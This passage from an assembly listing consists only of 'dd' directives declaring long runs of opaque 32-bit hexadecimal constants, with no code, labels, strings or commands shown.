6F5005D2h, 0D1BA0919h, 0C06933AEh, 0EE715553h dd 0F23E2A89h, 9B314186h, 0BED22B24h, 0C684C512h, 19FC14B9h dd 0DA08028Ch, 3C753736h, 72582FCh, 7019585Dh, 0F4BDBEE5h dd 0C8495206h, 13549EB0h, 0ABAB37F7h, 1723606Bh, 3899E502h dd 41037E08h, 6AF4DB56h, 0C641B6E8h, 5B8F927Eh, 46D6F65Ch dd 4BB8011Ch, 2BBAA35Fh, 979F55FCh, 6E56A389h, 0C2A91C7Dh dd 0F34A67F0h, 0FCD9CA85h, 8DA0C0F2h, 0E50AB58h, 0FB0B4BA4h dd 46F8D480h, 4504C03Fh, 8B0F606Ch, 0A5F7BAh, 0F2EE04D3h dd 9EA873h, 8A83EA6Dh, 0C757B43Eh, 8F0FE410h, 0FC020294h dd 617E0459h, 60510D5Eh, 61D18015h, 7238263Ah, 18DE4BB8h dd 0F32840C0h, 5E017E2Ch, 0F0C2F4Ch, 25920E89h, 0A98DEA60h dd 0F3499DDBh, 7E9AFF61h, 0EC69275Ch, 0ED75CD1h, 66F8E12Fh dd 0AAE3144Ah, 2B33E08Dh, 0D6EEFE28h, 121BCA1Bh, 0DEAFAA86h dd 71D4800Fh, 5CC09F9h, 8AA3AF12h, 0C62B805Eh, 6025FCF6h dd 0F5DBC1F8h, 0B6AF172Eh, 2D28E04Dh, 0AB2397EBh, 0EE84012Bh dd 80E0B2E6h, 0A900C942h, 51C64572h, 581FB07h, 92E0D7E7h dd 0C2D8EF3Bh, 19D125BDh, 27EB375Fh, 8C0017ECh, 0B6DE4A48h dd 9DFC7B22h, 60C6AAC0h, 0B9B7501Eh, 70AD5B2Fh, 4D9D6A16h dd 0AF6E09Fh, 0B7013184h, 4DC6857h, 127B65EBh, 23C3B01Bh dd 18F4073Dh, 0F718F560h, 274D9561h, 9E601D64h, 0E20E8D32h dd 607D5C16h, 94BB1A05h, 26CD2578h, 74C176C6h, 1CCE9F9h dd 0D4B1D127h, 0B360C4DAh, 30190F01h, 399D2917h, 85D87475h dd 67519F45h, 87B8F544h, 0ECAFA0D7h, 5482B65Fh, 41CF55DCh dd 6C88F60h, 78FE0BE0h, 7DFFB8Eh, 192EB564h, 84CF9595h dd 0E519F6BBh, 0FD5C3E70h, 82A60028h, 8D89BD66h, 51972C29h dd 0DBCDAD75h, 0E826EC40h, 430B0093h, 0C9FDEF9Dh, 7E9F7EB3h dd 2B81C259h, 474DBB00h, 847A4B12h, 0B81FB9C5h, 0B154C4B9h dd 0BF500729h, 4D986B91h, 2F08B22Bh, 4B2351D9h, 0FA22D790h dd 0DC3F6C7Eh, 19CD8026h, 859448E6h, 96230011h, 86F476A1h dd 5304DF68h, 800F9781h, 0E4E7ABh, 3AB5CA63h, 951E01Fh dd 84299219h, 20098170h, 0DB689DB0h, 0CCE37027h, 97554C04h dd 0A0B8E227h, 4DB509C1h, 4A937A1Eh, 8BEAF40Fh, 275B3F81h dd 0C098ED90h, 0EF22E261h, 5B66C804h, 0F898F5B7h, 459D2401h dd 495F4B52h, 0EE3661AAh, 8AECE0F5h, 2B8FD94Bh, 0AEB4AE56h dd 323A6A30h, 0C7C4891h, 0E7124112h, 0FC51802Dh, 0B43AE95Fh dd 8609F608h, 5C18AE43h, 0CD49775Fh, 0BFB7456Ch, 2D5C0C1h dd 13478E2Bh, 0C8A9049Eh, 965BF0E8h, 33C150FCh, 413259Dh dd 20DF1DEBh, 0FFB70F14h, 45FB1E9h, 69A0617Eh, 0A311FCA7h dd 3D1443Bh, 9A2AD8BDh, 2DF69139h, 5F368BD0h, 0EB7C1686h dd 0FB00807Bh, 7C4AB636h, 934CEC64h, 12D16ECh, 0E08D67AAh dd 69185C83h, 25F2DA5Ch, 7694C667h, 73B94D09h, 4934BF1Ch dd 0C9594F57h, 88D1A5h, 0B94A35BCh, 0A73F499Bh, 130BB25h dd 0B7883E76h, 0F96A5B62h, 0AC16A8E5h, 831D13C8h, 8E34C8A7h dd 77EE3A71h, 3EC1A20Fh, 4A6220A1h, 4BB30360h, 0BA70867Dh dd 362AF017h, 0BE6E9D81h, 4A077FF1h, 0CC8613F1h, 4179F3C5h dd 51C20BC5h, 0CAE9C652h, 0BA00FDECh, 0C0A080C5h, 4F01509Ch dd 2A18A58Dh, 4B6953E0h, 0B37A32h, 0B10A45AEh, 27077038h dd 14E473D0h, 238B7400h, 14602510h, 0CE360FE3h, 7320E141h dd 62C781C6h, 1B459815h, 0BD8983ECh, 0F2EBD479h, 466B9228h dd 0B4CA600Eh, 9C30BF97h, 275339BBh, 0D1D43A49h, 3B3575DAh dd 8F75F001h, 8F68C283h, 1F6E79C1h, 6485D0F4h, 0C5775701h dd 9C20AEFBh, 8A86C8F7h, 162EE3C3h, 0E050A6B2h, 0E7B04006h dd 0AD0EA93Fh, 0E7804F6Dh, 0C8C1C4C9h, 6303B813h, 0B8641DEBh dd 0A27FF75Fh, 0B76FD561h, 0DEE98240h, 0BC141E9Bh, 2EC2A716h dd 9F608DB2h, 0BD0BCF81h, 0C214C050h, 0BCBD5FFBh, 310589ACh dd 0F0B08DB5h, 0E56D4BB3h, 4B207E50h, 0B97194h, 0AE259E70h dd 0B55AEFAAh, 5DE0784Bh, 97607557h, 58AF0451h, 30159DF9h dd 1336440h, 95C170B5h, 6DA57EC5h, 9C1946AFh, 0BB66DB1Eh dd 0EBE2EA12h, 0BFA22288h, 7F9D0325h, 0B2964F05h, 1D2C007Dh dd 0E3CAD01h, 4A550261h, 0FAB7FE59h, 4705C056h, 815796E3h dd 7BED26EDh, 0E3921BEDh, 30274F08h, 0F8C88180h, 36F169Ah dd 0BC78260h, 3261EE0Eh, 3DC1DCAFh, 0DE3CD49Fh, 0DEDA309Dh dd 25259C2Fh, 7A1ADF65h, 0D8CDFD28h, 2648DDEBh, 6609EA9Ch dd 46AE26BFh, 0EDCAC686h dd 95FEB02h, 29BF44EFh, 6104A4B5h, 51D9A97h, 31D3C18Fh dd 0F6AB85C6h, 255EE022h, 0E313146Eh, 0FE09FA67h, 0C9042996h dd 0F618BC2Ah, 25E5207Ch, 0ACFD3FFBh, 0E13EE912h, 0BF8930F9h dd 305ADAEEh, 2C917F81h, 0FF4B343Ah, 6D0BEA0Ah, 0C0A2C113h dd 49C92200h, 0C01C33D5h, 15993807h, 0F110F009h, 978D448Fh dd 21601F99h, 13F2DFEh, 6479B2B9h, 817F6174h, 21DF8B84h dd 0D88AD4F1h, 6DCCE58Bh, 513802C8h, 900BAB81h, 58907B5Fh dd 5200BCF0h, 17FEB9C7h, 9F847F9h, 2BA9BD29h, 52564A12h dd 0BED7B740h, 1B8A204Eh, 1D02CB17h, 0F487BAAh, 0C0BA2DF1h dd 0BA389EBh, 0D991A311h, 4677EF39h, 90B2A5A0h, 6B632D02h dd 6FC08394h, 6DE94081h, 0F1209D31h, 0B390091Eh, 0FE1850B9h dd 31002C7Ch, 81A549F9h, 715B5651h, 9B904F5Fh, 40618EC2h dd 0CFFDEDA0h, 0D33CFE89h, 5803BC48h, 1BE1C079h, 24FB2023h dd 0B72FBBh, 0B1EE9535h, 6A4A6554h, 2F7C1E6h, 0B8DCAE49h dd 975B7249h, 0B7D006DBh, 0D85709EFh, 0D30E7864h, 25825BE9h dd 6D5E14B4h, 2D1546D6h, 162FD4D9h, 9387BDA1h, 63A0ABB6h dd 0A927CF9Dh, 5993D656h, 0D52AAD6Bh, 4F05B8B7h, 20AEFB72h dd 7F3D150h, 0CDA63D04h, 0F680A9A7h, 16961333h, 0F4419589h dd 8A5C0F09h, 0C7B293C0h, 4FCCB73Dh, 0C4B06E00h, 512B1DBEh dd 47763200h, 0B34A27EFh, 26A00D9h, 0ACDEBF50h, 975255h dd 0A177BBAEh, 5E155D8Fh, 0AFF5E984h, 40FB3138h, 9D258939h dd 0FD206259h, 0A533D330h, 0EA6E1C28h, 0EED9F525h, 0D4EB941Bh dd 64AE3700h, 8AE092C6h, 0B8904B1Dh, 0CE6E8034h, 4BA19A9h dd 72CA8E59h, 7402EF28h, 0F75F0DC7h, 6D0076D1h, 83364E52h dd 0CE6402F6h, 909D6E07h, 5F250574h, 0F9856431h, 2E640B14h dd 159ABAD9h, 0BDC214C8h, 11B66FCh, 6DF2A97h, 7A40ADDDh dd 4115F6A0h, 6A1F2025h, 47EFFF4Eh, 0D91C191Bh, 550087BDh dd 9CE8E95h, 8056B0DBh, 3E9EFD42h, 0CA92B128h, 2227F6B2h dd 0BD0B0F1Ah, 447224DDh, 16063502h, 698381EFh, 0C489091Dh dd 0E4570A21h, 0A9DA4B90h, 0BD09C13Ch, 53A5131Dh, 0C2251151h dd 714619h, 54AA65D3h, 4EDAB044h, 873DAE01h, 0ADEE1945h dd 25F9F37Bh, 69F276C1h, 15801A73h, 0A7CFDBDFh, 0D2AF009Bh dd 0F986F5F6h, 3A025480h, 42FB1998h, 89BA28C2h, 44D5C82Bh dd 5716009Eh, 5E7D54C9h, 7A00FB31h, 0B1ADB47Ch, 74EDC5D9h dd 0F78100D0h, 13C36EEFh, 0D1728B5Bh, 75E9DE12h, 0A416B3A7h dd 0DBF500C4h, 53926B91h, 83085C01h, 24D08260h, 70499670h dd 0EA444F4Eh, 0EF812307h, 49AF5564h, 4EFDDA2Ch, 30B43C20h dd 0B5E97A1Fh, 65C28115h, 1BDD2B1Dh, 4B4D3320h, 2031D807h dd 0DB5F98Bh, 0B99CC46Ah, 0F9F89223h, 30503E68h, 0DAECCF9Ah dd 9F25B097h, 0A9EE5AB3h, 0DA19BD41h, 0E3814280h, 71C4F755h dd 0E6FD8A25h, 8D293B15h, 0B91290C9h, 0D2205555h, 44B84DBCh dd 0ACB9DC0Bh, 0F6E55C3Ah, 0D41C8709h, 0DCA5F6FCh, 95C8334Ah dd 3DB8A160h, 1004BD7Eh, 610B1571h, 46F3D22Bh, 0EBF970h dd 0D09C808h, 97BBBEF6h, 0CBFDF12h, 0E6D31FF6h, 63B9A03Dh dd 7150E97h, 0BD2701FFh, 0BDFF6B65h, 85B60096h, 9D09D92Bh dd 79141525h, 0B9354B28h, 0B907AF80h, 25F738BEh, 107B3AEDh dd 16577427h, 5CDCAF09h, 8AFE4BBFh, 0B930D2F2h, 0B923EC0h dd 0AA913888h, 6A7055F3h, 720E044Fh, 0BB79EDA4h, 0B13288h dd 75D18293h, 0A7020FB6h, 0D83A9409h, 44CE715Fh, 14AA528Dh dd 4D2367Fh, 0AB0A9118h, 0F9E4F0F6h, 64E809Ah, 96C0E39Eh dd 665D4990h, 0A2AA00B1h, 551A7776h, 0FD2F6935h, 0F4FA7E93h dd 0FCA19C07h, 73F0B574h, 0BFF52D3Ah, 68A4790h, 0D020920Fh dd 16BDA0B2h, 1E8F6245h, 85A4892Fh, 92C99D03h, 0FB5C5B6Fh dd 49253h, 0E5F046BBh, 0CA714Bh, 0EE041812h, 8ECDFD60h dd 0CFC31336h, 657207FFh, 806820F9h, 5B4FE9E7h, 0F7B6F9A8h dd 6BFE604Eh, 90AE4A20h, 2FDF8964h, 0F50990Bh, 894ED98Bh dd 0F45CEA34h, 0C059CDA7h, 15DD7E1Dh, 19745B0h, 3A4ABF39h dd 0FD6A62C9h, 3E9B936Eh, 0EF523480h, 51275BF8h, 43FD9042h dd 0B51D0078h, 11DF2BF3h, 520BC7F5h, 898B94D0h, 95B75050h dd 9350E565h, 97B30988h, 0C1826665h, 505E0729h, 8FC52EFh dd 905B5780h, 1DB96050h, 26226380h, 31D376h, 4E3D9FD6h dd 5A9A24Fh, 0C600E37Ah, 3FB8BB85h, 4B6D2208h, 0D219F858h dd 618BC8FBh, 20F050B5h, 0CC52F05h, 70001E45h, 5B7A6668h dd 7E605C8Eh, 9E8CCC0h, 0AF001B6Dh, 43A90852h, 10FBCFBh dd 150E8828h, 2E246358h, 990500FCh, 571C389h, 0AE2E5DA5h dd 5DF99472h, 1C506145h, 0E96216EFh, 8558A4EEh, 45E81744h dd 50E87A10h, 85EE6180h, 1C0F8ED3h, 85C8F72Dh, 0F7AB5FF9h dd 0A7FBF06Eh, 0D4B72D37h, 0B96BBF5Fh, 58ECA64Fh, 98EB168Dh dd 49164EAh, 0BD1331ADh, 4CA8D737h, 1B23911Ah, 611B658Ch dd 894D98B7h, 0F6F55A06h, 301CB2F8h, 0AF01BF1Dh, 0F73941B6h dd 0E23EFEB4h, 2668009Ch, 0C615749Ch, 13347221h, 0EEA225DAh dd 2DC15A1Fh, 0BD315FF8h, 0C92A4171h, 0B8EC79F9h, 549A0167h dd 96CC4D74h, 8D2020E4h, 7D1B6A9Dh, 0DA7E6078h, 172D91A0h dd 699251B7h, 3948B575h, 0EA8F7700h, 187B252Dh, 0A6683E00h dd 52C55A86h, 89925Fh, 3AC47D59h, 0F32DBF66h, 7E129A97h dd 0E319403Fh, 9D2CBA65h, 5565F750h, 9935F0AEh, 0C016144Eh dd 0CCE2D4F6h, 6007187Fh, 0EB400007h, 0C0617301h, 2A00E897h dd 8CF76CAh, 4820B69Ch, 0F6D7DCD4h, 5338F0DDh, 9EB62822h dd 52519DC0h, 76ED102h, 53C77CCEh, 0A28641DFh, 5B328BFAh dd 977ED061h, 8A253916h, 1227C5FDh, 1F52B241h, 0E9CEB4EFh dd 0DB251C52h, 0E2D07B88h, 9F4834A7h, 171C071h, 6BE0B9h dd 24DD0753h, 4C5C3757h, 5EE2C504h, 2ABC5F08h, 0BD8F9CEBh dd 0ED1B28Dh, 7A2B2E21h, 49EC00B2h, 0ACDEC0D2h, 8D12030Ah dd 3D9D0B56h, 6682575Eh, 51425EF9h, 14C80F82h, 45F89AC2h dd 4588806h, 0AA12BB84h, 0F2F5A7ABh, 3CD85D73h, 2D5634Bh dd 75A06DA7h, 0FC01ABD4h, 33607826h, 453BC1B5h, 9251BDF6h dd 3A5C61D5h, 0D71C85E2h, 35B55216h, 0D2F827A0h, 642CEB2Dh dd 85150000h, 25471CC8h, 870024CDh, 67AAD642h, 4EB62964h dd 14DB420Bh, 2C669694h, 8DFA92F8h, 9A4ECE03h, 0A1D28B65h dd 0ACD0BDD1h, 4DAAE4FEh, 0F917C8D5h, 80319B96h, 4C2658D2h dd 8DD40597h, 0C48B5144h, 222AFFF3h, 0B3B85880h, 10BC247h dd 7706B1BDh, 53C92EEDh, 48AF0002h, 8531A097h, 0B0C2EC2Eh dd 9E392660h, 5616008Ch, 93A20957h, 0EC03E685h, 5A4E8E15h dd 4C9ECACDh, 9DDFEC01h, 8D62F77Ch, 5CB04A39h, 1946FE13h dd 0EFCB6901h, 2FCC179Bh, 0BA91612h, 5B90B8B8h, 0DF293927h dd 9DC93D93h, 1FA62E12h, 48301AF2h, 0A1220054h, 890F3BCAh dd 55AE59Dh, 0BD1870EAh, 0B5842C69h, 9F547D89h, 0E5B40F55h dd 0FB888537h, 0CAC00DDEh, 727EF89Ch, 70E6BF00h, 609631C5h dd 0FC8A4A0Fh, 1345A066h, 0F6EE2D80h, 0CD00DFC6h, 0E0D719BCh dd 2C4AD99h, 6EE27565h, 8BD27FD2h, 0D78A615Ch, 5AB8ECA9h dd 6BA82155h, 0B7017353h, 736AC93Ah, 0A0FA8A6Bh, 5E918C6Fh dd 0E3611236h, 0F8CA4A1Bh, 97704D38h, 807B0E5Bh, 1DE60F5Ah dd 561F3816h, 0C5D8FC87h dd 25EA50DEh, 30B7FE05h, 46BB6401h, 3E6687C8h, 75FE15C2h dd 92012029h, 3F6E58C7h, 21FC3FB9h, 0C4002C7Fh, 33C94B32h dd 820B8D9Dh, 0C62515DEh, 2D08902Bh, 0CF7308CDh, 70CB8180h dd 9D3B7D97h, 1A597CFBh, 9F001E18h, 334DE5F5h, 5B9D2B74h dd 5038BFD1h, 533BD463h, 0EE4237C4h, 0E66C9B20h, 0DE660025h dd 5295417Ah, 53BFB146h, 0B57FA7AAh, 0B077270Bh, 0E1C6FC51h dd 0C2409B7Fh, 578592FDh, 6D95239Eh, 25EA402Dh, 0B3FE8972h dd 22970EB0h, 5E1DE9F9h, 37FD2F26h, 9F0F080Bh, 0B25D7460h dd 2F8401F8h, 8BBBC9F4h, 0E06E3BC1h, 0E3A30972h, 44792EF7h dd 6DA1BF80h, 25502F28h, 568A97B7h, 12B0DEC9h, 326D1601h dd 6CB784BAh, 6F94899h, 5ABD6E0Bh, 496D8061h, 0A0F867EFh dd 262AB12Ch, 9B25DA9h, 0DA00F2B7h, 6172E5D1h, 11E8E4BFh dd 10BE805h, 0F9CCDEE0h, 86D83E1Eh, 4C627FEh, 3240E870h dd 5290275Bh, 0C6274590h, 8713A339h, 0CB5C8487h, 245BBDD0h dd 0A980E45h, 82FC5F57h, 90D98B50h, 12A6DBFFh, 0B3C7E4D8h dd 3F6444Ah, 20D1B51Dh, 0DF4B5790h, 0CC7A888Dh, 3036B34Dh dd 753B2E01h, 4A4F4FFh, 0BEDD75BFh, 0A259B819h, 1B911F8Eh dd 6115A183h, 7AF0BAABh, 2496A2Fh, 1627BCBBh, 0B036D25h dd 9740936h, 0A1F9DEC4h, 508C14ACh, 0F6D7FB41h, 406694A1h dd 986D7434h, 0A80CA200h, 6C50C3D1h, 9BB070Dh, 115FD72Eh dd 2ECEE957h, 41777C38h, 0B8A42949h, 0CD5E9FCBh, 0A1DF80C1h dd 5A373260h, 0B289E647h, 6A5C3119h, 0BD8255FCh, 0D00B0735h dd 0C2440776h, 8B55B350h, 0E4C1A6CDh, 0A4C834A1h, 3C920B4Ah dd 0B1FDD805h, 0B52A9D1Bh, 0F8F86A2Eh, 0F76C0FAAh, 3C2DC11h dd 0D71C8F09h, 7C55AD3Ah, 4A756982h, 27CD562Eh, 8F636DCh dd 2187991Ah, 6AF4E825h, 0DCCA96FFh, 345BED04h, 41D44B23h dd 0E4C40184h, 0F9ABD9C4h, 35EE8A0h, 2E53E41Fh, 9805639h dd 0E09AF985h, 59C97C95h, 27F17CB0h, 880DD4DAh, 104C1A7Dh dd 0E3294A81h, 58A7EEBh, 0F2BB6585h, 0DFCC6713h, 8AEE8464h dd 42D90713h, 0C8F05C68h, 95981686h, 0F962C87Eh, 0B509010Bh dd 317E6DA9h, 0C111CC1h, 88DB372Eh, 89EDB482h, 942D608Ah dd 0D3100781h, 51DFE46Bh, 2E3191E1h, 3F44D814h, 4C2BC055h dd 0C04A2AC8h, 4ABFFBBEh, 195E3E04h, 20577DE9h, 21EE4507h dd 262ACC01h, 0FAD371CEh, 0DFA440CAh, 0E9CE9A1Dh, 877D5B02h dd 89194CC7h, 3CA58F4h, 0C327D381h, 125E763Bh, 0FB9334BFh dd 0C44021E6h, 39E930D9h, 2DBD0111h, 0CD9D204Bh, 0B7D5F320h dd 1E9A095Bh, 0C2746837h, 0ADC35B8Bh, 38C2D60Bh, 36085749h dd 0CB6C2556h, 0EEC2F413h, 0C0F0CCA6h, 6406844Fh, 0E783DD74h dd 78909346h, 0B01CA11h, 0A17D0958h, 0A86B7C13h, 5585CB44h dd 0FC557EC2h, 48B3D4D6h, 69DB7180h, 5BDC2D2Bh, 0C2A0B8CCh dd 6F0EFEB9h, 0F98F615Ah, 9067610Fh, 5F2513A4h, 0DCBB1BE0h dd 22738A1Dh, 89606BA4h, 5AAB0B1Bh, 3B28BE05h, 8D8D4B77h dd 0FE3A44FCh, 122BE0A0h, 0E60C5595h, 321AA2FCh, 1340717Dh dd 9D42EC84h, 758D97C0h, 17367Ah, 0DC7B59C1h, 89BD2342h dd 2CF21E4Ah, 0F8C1DACh, 0E66D82D7h, 0F2256AC0h, 899DEDB8h dd 0D42B5CCDh, 97001C46h, 0F5D0F9B6h, 3434F330h, 0A9E6593Bh dd 0BD301AB2h, 3D719DF3h, 0CCAFF916h, 0ED2DBFCCh, 76EF71E1h dd 0FC0B1746h, 0CF7C23AEh, 0C59D0382h, 0F7BD751Ch, 0D3BB9A00h dd 0B74A517Dh, 0B742517Ch, 511A5ED0h, 0FE85C392h, 0C4C0ECDBh dd 19E98E9h, 14CD8512h, 7B18091h, 19BE62Ah, 0CBA0DB81h dd 322F3E4Bh, 0E3516042h, 0A0D95200h, 4D59723h, 4E59FAF1h dd 0B1B2AAF3h, 2B605B02h, 6570D59Dh, 0FF256171h, 70A35BE1h dd 990E32B2h, 8716B9EFh, 0F716E4Bh, 27AE0887h, 0BC5064D6h dd 2A62B21Fh, 61103FEBh, 0F5FC2531h, 676B1814h, 2337F52Ch dd 0B3E29880h, 0A6261E71h, 0ABF70099h, 96C670F1h, 0D117662Eh dd 514B7851h, 0EF44555Bh, 6B491497h, 4D7D82E9h, 0B1B7C09Ah dd 0BC050343h, 5FF55377h, 2E3BA1AEh, 0DFDB1C17h, 5C97A480h dd 6470E0ACh, 91E8602h, 752975BDh, 67095BF9h, 0F416F601h dd 27A5FF1Ch, 2FCC630Eh, 10DE5467h, 79502505h, 979CB885h dd 10B73838h, 4F13AB97h, 56AA40DFh, 0A11625B3h, 0F994FC2Bh dd 0BD339DA0h, 6A927EDCh, 93F0B1F6h, 1102C5D5h, 0E9A8DDE3h dd 0A4612014h, 840BFA0Ah, 5527D4A1h, 940B70E5h, 9EEDD7FEh dd 0FB98BC00h, 22111F3h, 76A1E0Dh, 22D1500Ah, 86E67F01h dd 0DC6AB914h, 24F0318Ch, 8B948D19h, 0A331B7B9h, 92FEC2C3h dd 67F95FDAh, 0EB65812h, 4F5BFE5h, 9D238550h, 7D899F51h dd 45614DD7h, 25B69C15h, 0F4989A97h, 0F04647E8h, 0D326B9DFh dd 0D689A114h, 0C00D39E9h, 0B26B05Fh, 0C9E97329h, 0DDFC107Fh dd 9DEE951Ch, 0A2938C4h, 4F1BCBABh, 7A01696Ah, 0A725E15Ch dd 21BA8BB1h, 0EC6E1015h, 0C7ED9510h, 0E4601A64h, 161E6E3Eh dd 0D02FA7F0h, 23A625C2h, 0D79A86E6h, 6406892Dh, 56811F98h dd 0B440C158h, 2A8531C1h, 5B0609FEh, 262BE32h, 0F8574901h dd 4E052F5Fh, 94BE9D01h, 0C0D2AC9Bh, 0B1D28087h, 0DA922F90h dd 390990D9h, 8B347B2Fh, 3240B460h, 0F124C5E2h, 405A8161h dd 5C7AB96Eh, 0ABD6FB79h, 73005E97h, 183EDB6h, 30470177h dd 79EE6635h, 79FA24E9h, 0D373BB40h, 0E1037B09h, 0AA66Bh dd 0C429D2A8h, 44C94A1h, 3214E11Dh, 0CCFF16FBh, 5A4C5BB0h dd 0F3AFD273h, 6ABB0F4Eh, 9DBDF28Eh, 6E04B5B8h, 896510E3h dd 511DC2AEh, 0DD27ECD1h, 0B980D93Dh, 1F6C1A3Ch, 80A0B22h dd 86F9B7F1h, 0C06F4180h, 2E0BCB95h, 488F67Bh, 0FE505BDEh dd 0BB3D64B2h, 5740FB8Bh, 0FEEA4975h, 0C8A9DA2Eh, 9890C017h dd 6109916Fh, 7D958952h, 0BC5BC424h, 0DF09B273h, 1C573CE2h dd 4C3C4587h, 23036548h, 0BB76DE8Ah, 0E1EAE418h, 8F6E6FCBh dd 60A98D0Fh, 0DCB2DAC0h, 8B4A4C48h, 61D1D2FAh, 0E175725Eh dd 510619Dh, 0CE1A8CBFh, 0E2736C00h, 0A7ABDDCCh, 0DF4807E7h dd 0B556BB54h, 656BC111h, 79EDAD09h, 60C5A55Eh, 7427AF1Dh dd 0BD00F4DFh, 55FE07DEh, 5B6A7AF1h, 0B9A3859Bh, 752948E9h dd 0F3032348h, 0E36F5D71h, 0F8BF90B8h, 680241F5h, 5A7A3986h dd 0B84F40B6h, 0FCAD4AF5h, 68C18BCh, 72ACA6DAh, 0DB126E6Ah dd 71E15653h, 0CFBCDE3Fh, 0F2D38055h, 9D44634Eh, 8069A17Eh dd 96821313h, 40F2B652h, 0F679376Ah, 0FDAF423Fh, 0C5006479h dd 7A964A70h, 2686F1C9h, 4FAE5BBDh, 3D250472h, 0CEAEA912h dd 0B013D329h, 927D9BAFh, 27338E70h, 0FC2004CEh, 0C40FD2C5h dd 33906144h, 9C57D6BDh, 0B4ED973Ch, 0F2A8D740h, 0BCDC027Dh dd 23D8B1Eh, 10081561h, 0E6A9772h, 83C60736h, 0EA8D2945h dd 0E35FD7E0h, 0A872A96Fh, 10C2E11Dh, 0E0030C7Ah, 9D25D784h dd 0CCAFD491h, 0FEBF26CCh, 3FDF2706h, 0FC7F8143h, 40C22EBAh dd 11DBD9Dh, 9E4AE4B5h, 0B5EF221Ch, 7E2724C5h, 0F8BFC24Fh dd 0BD5EB07Dh, 4E305095h, 9F7FB829h, 0FD492659h, 0FE061F84h dd 85BFFA70h, 6E0902C9h, 0C88A6096h, 5357AF60h, 8CB45C9Dh dd 0E0DA7C6Ah, 0A622E304h, 1EA8E624h, 36799625h, 4125924Ch dd 2D5C4123h, 0C28B2B2Eh, 0A029B64Bh, 1031E4A3h, 91C4DB5h dd 770BD780h, 0B5A536EDh, 106A009Ah, 0C5E3B942h, 8A851F12h dd 0D58DE70Bh, 6050B6A0h dd 529C2BB7h, 0EF368240h, 0DEBC031Ch, 0B3E37FF0h, 5ADD8A80h dd 0FA58719Fh, 0E6023F73h, 5797424Eh, 8F8645Bh, 0D1BD0076h dd 0A51C861Eh, 1A9725A6h, 0F78843DFh, 79693357h, 580B54A4h dd 0C6369811h, 0B42200B6h, 1F889FFBh, 0D495256Eh, 2CF9C474h dd 927C9130h, 0C8C6B9FAh, 71FE520Dh, 0D13712D4h, 0E0B9B8D0h dd 800A35BDh, 0B9750E9h, 800FC8Dh, 58250EE1h, 285398A3h dd 254C2AF5h, 275C0B55h, 1DC231E7h, 0D4CE7F0Fh, 0D54530CDh dd 0D201C22Bh, 9BF2F07Fh, 6A2378ACh, 0E083CD9Dh, 0E737E83Ah dd 4B3C9800h, 0FB8B9FE3h, 1D87A96Ah, 0EFD7251h, 59240408h dd 899CFDEFh, 0D45D7E2Dh, 81CC174Dh, 3C121FDh, 11BD6888h dd 4EA25017h, 0B82E783Dh, 9B420E1Ch, 6B469CA1h, 0A6B53AC9h dd 58E13A76h, 0FBB82FD1h, 2DF08D6h, 0E020D124h, 0B7E1109Dh dd 0B7CFB5DBh, 0D9A64140h, 270E755Ch, 35DF5D21h, 2CB2273Ch dd 0C157255h, 0CF6B0CD3h, 0A99FF5B4h, 13C40EECh, 27408AEFh dd 1C6E90F9h, 3356092Ah, 0DD517C57h, 91BFE49h, 455DD1FFh dd 4549190Ah, 0EFA5F52Bh, 8302CD2Eh, 0C24DC300h, 1D8AB790h dd 0AE5F5250h, 12950D5Eh, 53BA2A43h, 0B268B659h, 3C133015h dd 7FB4F2D7h, 8EF34BE9h, 5D0E2497h, 0DED9FC25h, 0BA0A23Ah dd 57573FA3h, 0C6905AC4h, 11AD8D12h, 3319721h, 81B3DE6Ah dd 79E85CB3h, 1292E3FCh, 0E774F498h, 86A4BC5h, 9B9EAE01h dd 32870FD4h, 0FE204B8Ah, 0F894C375h, 9B09268Eh, 17E300CEh dd 57BF5544h, 90202813h, 4CFA73C8h, 31017A4Ch, 0FE8ADB2Fh dd 33BD7B5Fh, 0E8FA8B16h, 0C8F24A85h, 1079F900h, 31CE22BBh dd 19FD9524h, 8AAF5B96h, 3F79A085h, 0A86C09DDh, 4C8E4EB1h dd 6BBE5B31h, 0C05049B6h, 0A791DFABh, 0BCB2580h, 0A7A2E4C6h dd 3250169h, 0F7B7F86Ah, 0CF801650h, 5117B0C2h, 7F8A314Bh dd 8B975022h, 345276A9h, 8DD1EA47h, 0ADE5CC7h, 543D03A9h dd 0DE1047BFh, 0E40108FDh, 199D2B71h, 90312E12h, 8D100122h dd 862EC9h, 565FF850h, 31699D01h, 0B14B7395h, 41D515Eh dd 7F83C1AAh, 82C93D8Dh, 0CAD774B9h, 0F7B35786h, 72FB69C8h dd 0A1BF8F00h, 5E49D03Dh, 0E69013A5h, 0B542AE41h, 917118Dh dd 73B88E58h, 0D1C82B2Dh, 8D2989F3h, 8B452255h, 9390D7D1h dd 9A09A37Fh, 98894718h, 60E95F24h, 0BD3323A6h, 3DCB0D21h dd 4225C85h, 0B8DC8A49h, 81DC608Bh, 0B93EEFDFh, 88F880EDh dd 0C01150FEh, 548BE706h, 20B2B287h, 58341001h, 0AD24261h dd 91A05CFFh, 4660272Eh, 7EF96901h, 6113E0F7h, 1B556BE9h dd 53140A04h, 0A080DCACh, 0FA384B03h, 6E26CA03h, 999F518Eh dd 996B1D70h, 4FB23ABEh, 30C52A00h, 0AEAFA723h, 0CE29CC12h dd 1D22C9E2h, 73F8AEC9h, 5CBF01C5h, 146E391Ah, 9669249h dd 8C85BE0h, 2902D1F2h, 0DF2B0D95h, 9BD885F3h, 0A4A00484h dd 0C0B412DBh, 0B0488573h, 6ABF1F4Eh, 0BD604A3Bh, 363B73h dd 66EB71F6h, 0B978FEBFh, 4E0FB238h, 77BC77F9h, 0DB960B97h dd 52D07061h, 0D2E1B301h, 65DF9FE8h, 40F52820h, 29DFC2Fh dd 89C02B7Dh, 9C835CC3h, 0A94E38BAh, 0C02BE989h, 99B5891Ah dd 8B9B064Bh, 0D032AA4Fh, 70C9F3D8h, 0DC02215Eh, 0D1BCCA0h dd 55EBD88h, 0EF29DE87h, 32F10F7h, 4D5A7ED4h, 4B9D60E8h dd 15977242h, 4E87A881h, 72D6EFEh, 0A4C8BD97h, 0CA888470h dd 54075C2Ch, 0B8CA693Ah, 5416E453h, 0C4EE34BFh, 762DAB0Dh dd 0E140A42Eh, 44E39495h, 0D30481A3h, 734244C1h, 0ABA2E0ACh dd 5D09482Ah, 0C2AB5909h, 0CF750462h, 2DA34313h, 300CABE1h dd 3241E51Eh, 0F9055F23h, 0BE1255h, 0AD9C7597h, 0B409BFA9h dd 5C7CA6E8h, 4B2FDE2Eh, 53CF30F5h, 27A90ABFh, 13DC4F3Fh dd 0BE6717B5h, 51E6FA64h, 3260A8A2h, 2212BC6Eh, 